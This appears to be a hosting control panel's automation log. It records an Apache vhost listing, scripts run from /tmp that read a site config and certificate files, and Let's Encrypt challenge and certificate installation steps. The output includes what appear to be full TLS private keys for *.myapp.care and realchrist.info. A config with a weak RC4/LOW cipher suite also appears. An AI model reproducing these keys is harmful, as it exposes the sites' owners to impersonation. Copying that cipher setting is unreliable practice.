port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
alias www.ma1-tosr.myapp.care
port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
alias www.ma1-tylo.myapp.care
port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
alias www.ma1-typa.myapp.care
port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
alias www.ma1-tyto.myapp.care
port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
alias www.ma1-utfa.myapp.care
port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
alias www.ma1-vasc.myapp.care
port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
alias www.ma1-vasr.myapp.care
port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
alias www.ma2-acrp.myapp.care
port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
alias www.ma2-anar.myapp.care
port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
alias www.ma2-anfr.myapp.care
port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
alias www.ma2-anin.myapp.care
port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
alias www.ma2-anrp.myapp.care
port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
alias www.ma2-buni.myapp.care
port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
alias www.ma2-chel.myapp.care
port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
alias www.ma2-hamm.myapp.care
port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
alias www.ma2-hind.myapp.care
port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
alias www.ma2-lcl.myapp.care
port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
alias www.ma2-mdfu.myapp.care
port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
alias www.ma2-mtfp.myapp.care
port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
alias www.ma2-rcl.myapp.care
port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
alias www.pai-lc.myapp.care
port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
alias 847670.myapp.care
alias 573398.myapp.care
port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
alias www.pai-rco.myapp.care
port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
alias www.sma1-lgb.myapp.care
port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
alias www.sma1-lrygb.myapp.care
port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
alias www.sma1-lsg.myapp.care
port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
alias www.sma1-pcnl.myapp.care
port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
alias www.test.myapp.care
port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
alias www.version2.myapp.care
wild alias *.myapp.care
port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
alias live.patientapps.net
port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
alias www.patientapps.net
port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
alias store.patientapps.com
alias store.patientapps.co
port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-02 23:06:52:
PUT: /tmp/pkp950804
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/001-myapp_www_care.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-02 23:06:52:
chmod 755 /tmp/pkp950804; /tmp/pkp950804; rm /tmp/pkp950804
2025-12-02 23:06:52:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/001-myapp_www_care.conf 2018
<VirtualHost *:80>
# LogLevel alert rewrite:trace6
ServerName www.myapp.care
ServerAlias myapp.care
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/myapp_www
RewriteEngine On
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
# LogLevel alert rewrite:trace6
ServerName www.myapp.care
ServerAlias myapp.care
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt
DocumentRoot /var/www/myapp_www
<Directory /var/www/myapp_www>
Options +FollowSymLinks -MultiViews
Require all granted
#AllowOverride All
#Order allow,deny
#allow from all
</Directory>
#LogLevel rewrite:trace3
RewriteEngine On
RewriteRule \.git.* - [R=404,L]
# realtime landing-page preview
RewriteCond %{REQUEST_URI} ^/preview/(.*)$
RewriteRule ^(.*)$ /include/preview.php [L]
RewriteCond %{REQUEST_URI} ^/edit/(.*)$
RewriteRule /edit/(.*)$ https://pai.patientapps.net/account/procedurelist/$1?debug=1 [L,R=302]
RewriteCond %{REQUEST_URI} ^/~/html$
RewriteRule ^(.*)$ /include/html.php [L]
RewriteCond %{REQUEST_URI} ^/static/location\.js$
RewriteRule ^(.*)$ /static/location.php [L]
RewriteCond %{REQUEST_URI} ^/static/associate\.gif$
RewriteRule ^(.*)$ /static/associate.php [L]
RewriteCond %{REQUEST_URI} !^/$
#RewriteCond %{REQUEST_URI} !^/index\.html$
RewriteCond %{DOCUMENT_ROOT}%{REQUEST_FILENAME} !-f
RewriteCond %{DOCUMENT_ROOT}%{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ /include/redirect.php [L]
CustomLog /var/log/apache2/myapp/www_secure_access.log combined
ErrorLog /var/log/apache2/myapp/www_secure_error.log
DirectoryIndex index.html index.php index.htm
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-02 23:06:52:
PUT: /tmp/pkp680581
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-02 23:06:52:
chmod 755 /tmp/pkp680581; /tmp/pkp680581; rm /tmp/pkp680581
2025-12-02 23:06:52:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt 4018
a9:6b:a1:a5:89:0c:fe:54:70:0f:63:aa:30:d3:d7:fc
-----BEGIN CERTIFICATE-----
MIIGVzCCBL+gAwIBAgIRANUcRBuZQtgOQAZJA8NEgO8wDQYJKoZIhvcNAQELBQAw
ZjELMAkGA1UEBhMCQUUxGTAXBgNVBAoTEFNTTDJCVVkgRU1FQSBMTEMxPDA6BgNV
BAMTM1NTTDJCVVkgRU1FQSBSU0EgRG9tYWluIFZhbGlkYXRpb24gU2VjdXJlIFNl
cnZlciBDQTAeFw0yNTEyMDIwMDAwMDBaFw0yNzAxMDIyMzU5NTlaMBcxFTATBgNV
BAMMDCoubXlhcHAuY2FyZTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
ANHZFH2s4GOd5CLuJ8zQPwh+JryCAdwFQxWN3vMYLQdTBtqmH6zqwAmbFWGI6KPb
WMc80S6JK/VC+8rjmyKiXxGetZwtFy30r8eF/6ibO28sOyxjM5KTrEg3eOZ8CXG7
BmCW7U55rndetexTSjpOBSuJDLvLsD/nzxF++QNcZSo9XLa0zdk1G4srpmgrE+U5
WUUiraWOTfrTbfcbWxZvrT8VG2R5ZJfllmz1M17IWBTDU5mCf42SJM0F5EF3IMIy
wS0CmeO0qc51aAbmpAMq7siiis79+OSLvRQo+C/lcYsqEOtRQQ2xaUZ/VhRrSgm0
G9UrRE1L/67HJ2JV0VFZWMkCAwEAAaOCAs0wggLJMB8GA1UdIwQYMBaAFIFZSMm6
5QBv37f/UMWr793m5K6QMB0GA1UdDgQWBBRhGj7em/h5PNICJDriI5iCAegOwzAO
BgNVHQ8BAf8EBAMCBaAwDAYDVR0TAQH/BAIwADATBgNVHSUEDDAKBggrBgEFBQcD
ATATBgNVHSAEDDAKMAgGBmeBDAECATCBiAYIKwYBBQUHAQEEfDB6MFMGCCsGAQUF
BzAChkdodHRwOi8vY3J0LnNlY3RpZ28uY29tL1NTTDJCVVlFTUVBUlNBRG9tYWlu
VmFsaWRhdGlvblNlY3VyZVNlcnZlckNBLmNydDAjBggrBgEFBQcwAYYXaHR0cDov
L29jc3Auc2VjdGlnby5jb20wIwYDVR0RBBwwGoIMKi5teWFwcC5jYXJlggpteWFw
cC5jYXJlMIIBjQYKKwYBBAHWeQIEAgSCAX0EggF5AXcAdgBgTJqven93XwHUBvyS
DciZ6wscffjJUhv6+hd3O5eLyQAAAZrhTprVAAAEAwBHMEUCIDI0LLuWEgXZ7Dq8
LZht30VzJVqKz/0TXNZIi4IfCZYSAiEA0aYTjkNZbV7QRpCnWGYZWtkISDg0TfD/
dBQjIDiOCPYAfQCOykcLrN5q86IGsKR6hLdG/h/Gv5U+JeabTuQCSPPG6AAAAZrh
Tp3iAAgAAAUAAEYlBAQDAEYwRAIgZ9VgnBQonCVGAsuk22+i4MDVOufCa9GXP0Ah
4/Su1OoCIGYWX6c5RoJ4uWTKgQqLkaYSvIcFYekWboYvVcc2kZB0AH4AWW5sM4aU
sllyolbIoOjdkEp26Ag92oc7AQg4KBQ87lkAAAGa4U6ckQAIAAAFAAAAQ9EEAwBH
MEUCIQCjLppjUg79FVP5jJzrj3sCtexyNSlx0BioF6IotFj0kQIgfE9ujCun6ZLe
8oK9rMWBUTsArCmHyfT0r+Ktm+2T7HMwDQYJKoZIhvcNAQELBQADggGBAAMstxOP
96S7fclGjGNvIUjzVJV0Uia9kn/44ZWIBDoYAI/+4h42xNG9SEcZ1Y239rAtWr0s
82g9cdLDgpbWaWOT8n21oP7f1t9Sj2GyncJoQb4jPTgVzEJ8XcsUig+UroYimvoX
q1HLX8bKTAnQwjEENoBUQxAOd25ED21nR2x9IEV+CVMPZKhF0Kbscbz7zFrEVwvX
ssU6g7va78S8KblsFXQSfap8U8cuF0C5szy/p5S0jUCwDAbukQm3OYVIJZ+RTSxQ
qMZoXXxp3bk3WrVSUukZ906v1ATAH6l5O8EyJ2UkKZpLTnEWzI8wx9/iRoFbCv7x
PqhJsHuWNqejhvzJxR4oeyuWCi9DjqqDCnizytWG6Sm/mdWCJ2vIgX595tVkXZVh
Bp1dObJgxNU9bIz7npJkreR4LN+leLfguo52ROZnDilXlCzKLT4mDAL5JbBdlzn7
9guC40o9ivvM+LM7I0AoBu+7NcFcXZh3HDcNU2xAXR/WPqUZg1+QWkjS0w==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDR2RR9rOBjneQi
7ifM0D8Ifia8ggHcBUMVjd7zGC0HUwbaph+s6sAJmxVhiOij21jHPNEuiSv1QvvK
45siol8RnrWcLRct9K/Hhf+omztvLDssYzOSk6xIN3jmfAlxuwZglu1Oea53XrXs
U0o6TgUriQy7y7A/588RfvkDXGUqPVy2tM3ZNRuLK6ZoKxPlOVlFIq2ljk360233
G1sWb60/FRtkeWSX5ZZs9TNeyFgUw1OZgn+NkiTNBeRBdyDCMsEtApnjtKnOdWgG
5qQDKu7IoorO/fjki70UKPgv5XGLKhDrUUENsWlGf1YUa0oJtBvVK0RNS/+uxydi
VdFRWVjJAgMBAAECggEAB8FUBoj7CfNt2PSgN+uCSNgQqmrLkswG/KbvlGBSWbDx
0ebNyOAsFK7MjXw3zMZwc3yF5ohfPYMqNwdOVmtVxBrvb0QjVSlzzZXgKuUBv0wN
K8jGwSX/+fNC3pG6758Pz0YEox/QGM1BP+icF6eGfWNlOxN+Af6ZInZk0YD6pCLr
Pt423fjTijs/CCkOeCOEpTvdRALwTY0TVa7ryvQEFEauSprYpbYr9Cjygt/vRqZ9
zkKEXYGZ2Gu8IUP3RsRNe47VCcSmUx6lN0v04KKPNC3fsHo3hsrUftOdzwkAJeXu
uDu0RpvdvDK8TnI1nDtcxnH/AnGJzGbuz7Mex84gOQKBgQD16+OycXcc8uHmdmpf
LUJqF1ly6y3UfP3PH3i4wtQMHVqfqZwQTuPfLoEm5dZA5A8SMkorHpimBP7mVKLu
iinhotAXwfrBGD3y2Iri5NmjemtUMU4jdpImHtJ7jFxbtRRHXNR1akFr52MYBSJQ
Q7P8hL+3BW/WbughwsHkerr8VwKBgQDacrjTFplDZeSRtiE/RItARncnty8vqai2
BABWcuoo0Rs+E/QHERyZMNQpqfE6pJLOiTh5ovtBQ1C18eRqlYQXJs7gxgN3AV70
BkfdYgYN7DnDlGU17kEd3XA1wJ9eP/xaxI9YLvGJ8Vil8QA/6P1EikLPZqp1JZSx
oekRGb8f3wKBgBcS0+FZPgjMTR+3epGFiJa1rCHZKQqn05SMamJDfWvJkUgrvMXW
8RBup5WDuQ+LllJpv4W+MCpbi6MGy+a/teBCy21/OMzHPoC7ioRxXm41PT7ABYnU
RTAoci0/ZScBnW54qkJ9/rdmFWkaijans4p81hQRAYZID6WjRVfvn/2vAoGAQ+yM
H8bVHSnfqpcxO1T635+JiWXiXDWq6f3QhRDyUoLCr8jQhioB9HhEYDghdBScOXBd
iSTub1qZDBoM5j9bdT9x8F5h0W0xszsIuYOzUjzzsSbBWcWdpcWnEG+2nj3TH/4i
fE8Md9H9uIt5gmXV6qv7HjZUJlzrIViw+cpBrY0CgYEAl9wcr81vpdFfHWMca/Mu
o5uZTGT5KCPPPZdQH7xwFR/IyaqvRyHSZrTYeyw6C8a4wmpExWfl/MOAADpKpXJ0
9HNQKRHRhE4XMOFh+6Sx1xARPnuN+TRi3Kzm0eI0b4G+Ld6/s5mPJ+IQvuG7QaoJ
SAap5snFH9htADOn4RXibrI=
-----END PRIVATE KEY-----
2025-12-03 06:00:02: Establishing a connection
2025-12-03 06:00:03: Establishing a connection
2025-12-03 06:00:04:
PUT: /tmp/pkp489445
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-03 06:00:05:
chmod 755 /tmp/pkp489445; /tmp/pkp489445; rm /tmp/pkp489445
2025-12-03 06:00:05:
0
2025-12-04 06:00:02: Establishing a connection
2025-12-04 06:00:02: Establishing a connection
2025-12-04 06:00:03:
PUT: /tmp/pkp477121
#!/bin/bash
if [ -d "/var/www/realchrist_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-04 06:00:03:
chmod 755 /tmp/pkp477121; /tmp/pkp477121; rm /tmp/pkp477121
2025-12-04 06:00:03:
1
2025-12-04 06:00:05: Establishing a connection
2025-12-04 06:00:05:
PUT: /tmp/pkp386568
#!/bin/bash
mkdir -p "/var/www/realchrist_www/.well-known/acme-challenge/"
cd "/var/www/realchrist_www/.well-known/acme-challenge/"
cat > S-aHzEB8yL-Om1ntu0TRKJpvEWPWNaT42Smg9A-Zdok <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
S-aHzEB8yL-Om1ntu0TRKJpvEWPWNaT42Smg9A-Zdok.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 S-aHzEB8yL-Om1ntu0TRKJpvEWPWNaT42Smg9A-Zdok
cat > 677uqXBj2JkBtzuLFknDf12frs7yo8OZvPBouBVAZmQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
677uqXBj2JkBtzuLFknDf12frs7yo8OZvPBouBVAZmQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 677uqXBj2JkBtzuLFknDf12frs7yo8OZvPBouBVAZmQ
2025-12-04 06:00:05:
chmod 755 /tmp/pkp386568; /tmp/pkp386568; rm /tmp/pkp386568
2025-12-04 06:00:05:
2025-12-04 06:00:16: Establishing a connection
2025-12-04 06:00:16:
PUT: /tmp/pkp942381
#!/bin/bash
mkdir -p "/var/www/realchrist_www/.well-known/acme-challenge/"
cd "/var/www/realchrist_www/.well-known/acme-challenge/"
rm S-aHzEB8yL-Om1ntu0TRKJpvEWPWNaT42Smg9A-Zdok
rm 677uqXBj2JkBtzuLFknDf12frs7yo8OZvPBouBVAZmQ
2025-12-04 06:00:16:
chmod 755 /tmp/pkp942381; /tmp/pkp942381; rm /tmp/pkp942381
2025-12-04 06:00:16:
2025-12-04 06:00:16: Establishing a connection
2025-12-04 06:00:16:
PUT: /tmp/pkp522221
#!/bin/bash
temp_file=$(mktemp)
TARGET=8df29f43e5e79f1c31041f6ee4962ae9.crt
cat > $temp_file <<'endmsg'
66:19:49:be:a0:63:2c:e5:87:9f:2a:e1:e6:b3:82:6f
-----BEGIN CERTIFICATE-----
MIIFFjCCA/6gAwIBAgISBo8GKDCz7LHBigQYqwdJQmeGMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjA0MDUwMTQ1WhcNMjYwMzA0MDUwMTQ0WjAaMRgwFgYDVQQD
Ew9yZWFsY2hyaXN0LmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQDdopAGCMXGqNweQskYLn6u9wUqJAwVG5FE8XpKJqH6K7Mm1nm8STucTnCoMwMF
ZHha263Od9lvi+MQtGZ5gy3putJoG1w106Wi5qPuFGGJkf/8Rur1oBM2FfWeHxQH
KkVYXExCnXIPRrl1c4bpf9eJI3VZicTEfEupuFZL4D/8qkq1IXFiqhVzNRHhnhC2
NM6oS0eUCyluLeT5YezSowbNL8id2bMolhRFguG1pCOw9F9v1GytK18Gt7/3mlOv
eVF9+rircYpYHpi3b4sIPV73L514nm9IPoR+AU89cKCc6K2hFd65xJfjuTPpumQp
IfVNlv/AxPOTikT+23CYMfYjAgMBAAGjggI7MIICNzAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFCcWExjj3iQSmxs3kGOf8veMcvWyMB8GA1UdIwQYMBaAFOernw8sM6BT
015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMy5pLmxlbmNyLm9yZy8wLwYDVR0RBCgwJoIPcmVhbGNocmlzdC5pbmZvghN3
d3cucmVhbGNocmlzdC5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC0GA1UdHwQm
MCQwIqAgoB6GHGh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNy5jcmwwggEMBgorBgEE
AdZ5AgQCBIH9BIH6APgAdgDRbqmlaAd+ZjWgPzel3bwDpTxBEhTUiBj16TGzI8uV
BAAAAZrn8mtnAAAEAwBHMEUCIAiKZE8DfM68sKIgLXconsHBYJHxjfy2aUVST0A/
/Cm4AiEAncyzAPN3ECyTk2iJMyhhytOzXHJaegxo5I5x2IY+ydoAfgDjI43yjaKI
4KrgrPD6kMmF8La/9dKlJ7AB/BxEWMS26AAAAZrn8mujAAgAAAUAJ8mHTQQDAEcw
RQIgCgn1ngJkGT3cf23TuOvOvhfjOM1J6mTOn92Y6qmDeSkCIQDDtHp3shyGBKVb
hf4B2hwmo964pqX/Hwux/GTcA4PNUTANBgkqhkiG9w0BAQsFAAOCAQEAjgNDJqrY
KVQtJMpdhYdYGSehAku/Md8GbWfxh+tRKrwYlx5B2BOdjmp/MMSPOvuylCoPEfuN
GIniIt9vd0SwVtjJMXwvw6CAHldBi0hqPSg04OmBxGEyoxeUvS+nTRIqprF8L8Aa
L5+6PV4e70lkV06blnbzLHJt/kP9pAwxPx0hdewoZpoJKE2/tavQcCfnt2Q+r85A
xjNXL6BZ/SjMz5fmN5iLHIMXdjoAYnc0IaCttASFBYG7oQ8rU7t3MqvSrbufCCqH
PHcKhHTM+x06Beh2DHEhI1bmYFB64wXr0V0xyOIWyXdXARQHtiScn7QDwzn6VTV3
m/Pc8JgtJUOhJw==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEwAIBADANBgkqhkiG9w0BAQEFAASCBKowggSmAgEAAoIBAQDdopAGCMXGqNwe
QskYLn6u9wUqJAwVG5FE8XpKJqH6K7Mm1nm8STucTnCoMwMFZHha263Od9lvi+MQ
tGZ5gy3putJoG1w106Wi5qPuFGGJkf/8Rur1oBM2FfWeHxQHKkVYXExCnXIPRrl1
c4bpf9eJI3VZicTEfEupuFZL4D/8qkq1IXFiqhVzNRHhnhC2NM6oS0eUCyluLeT5
YezSowbNL8id2bMolhRFguG1pCOw9F9v1GytK18Gt7/3mlOveVF9+rircYpYHpi3
b4sIPV73L514nm9IPoR+AU89cKCc6K2hFd65xJfjuTPpumQpIfVNlv/AxPOTikT+
23CYMfYjAgMBAAECggEBALx7oSvgjgFyXS/G8CmGcOnu3Q+HdFcHCLWu/qbMz/dm
7oZa41BCn1VASAJiz3DojooGRHtP5TQ9rK7qHDO+YW9iF8m9at/DzBsLNeIkpwZN
iXtL/ElDBtN6PVVpbKjjQ/HvHFOSfguLw/CkfNlahTv1UbkBtrq6UcZWI92HKiN+
QayTdBuQl/LiWp7SV742WGUSOxSr4tI4vmXVhizSCftT092CBNqIhkD7m7Ju0fTQ
XMNBHsq//0WM1T2IKoppDKbjbcx9w8aBgCb8n1ybH/2w7m8UbGksmLTxYYmVIjMZ
pH1ZwqPEM+GfrogFuCAXypwh2NOj+auLWefPzVYNDbECgYEA8wiy1gD+9pqKYba4
CNmWSdK11S0vwdpXlxzKJt6EYToTeYjjxHfc6twHMZKE6VBSJznniziIgtBAB3Mk
SUkJkHzJpwPDfttfjDgHPfrs4+f+kfB7ERvkvgY94ohbpNkqa6IPQHA4x3MfezpC
pne495DnAf+l28k5O77mdzshNd8CgYEA6XWaFV+bgXThtVWMCYf70GoNkZqqGAWf
fqOqHl87tYsu+sVzvV/r9/j8ak0hIxULtcOi/laqjJhzR7JJOoQvLVwQaGdGflXo
u+4OH/DQzdgh+C0BE7f0BFv+ATPclqzlqRnQATD1j8IwDsOj30nzxK4bPTePKYEK
VuODvHB74D0CgYEAlIyKkxgEv8LyNouyrWYh4Hm0vtphyIGm7Cyiu2NjUvJmmPC9
F4eUNtHKa9h8+QcpT+SqzIP/nMWhfWw5j7ne6Lv9neJFCjMYkeJlOtM3HI7fIWD2
OBzukd/Kz749FePPc/6Yh/CQJAkQAwg3WPzwyBF/wc77F/5Ex2oGAHbZ880CgYEA
lyOniUbIKds9dGPZsSH0CE1gU29Jxxt80kOqktcclL9yvq6t61/6KCNtZnRgi5HI
bvgkwXviFftsRnJJrjR9RmRfyvdxT8DWVzQauNrykxDljQG1vMpOk7PqkWS93l44
oG0xmFPV5ifVbPmDUb9SrXX59HvPlxMPWokYdBpuWBECgYEAkHj+owYuQUaegzeZ
7ac/EaASJwRKom2yzzaIlxsL5k394X/umr/f4W6MArEEiuPucOuSgKaMqJyMdCHz
Wgi3bsRxuvZMS+XPtuiZT4nHz/E/3Ky3T3Y/ARJQq7/9/JFTRjyKKLhnMiZnq0fC
omlJAKep4dTiELOpGE+Ro/t7kHc=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
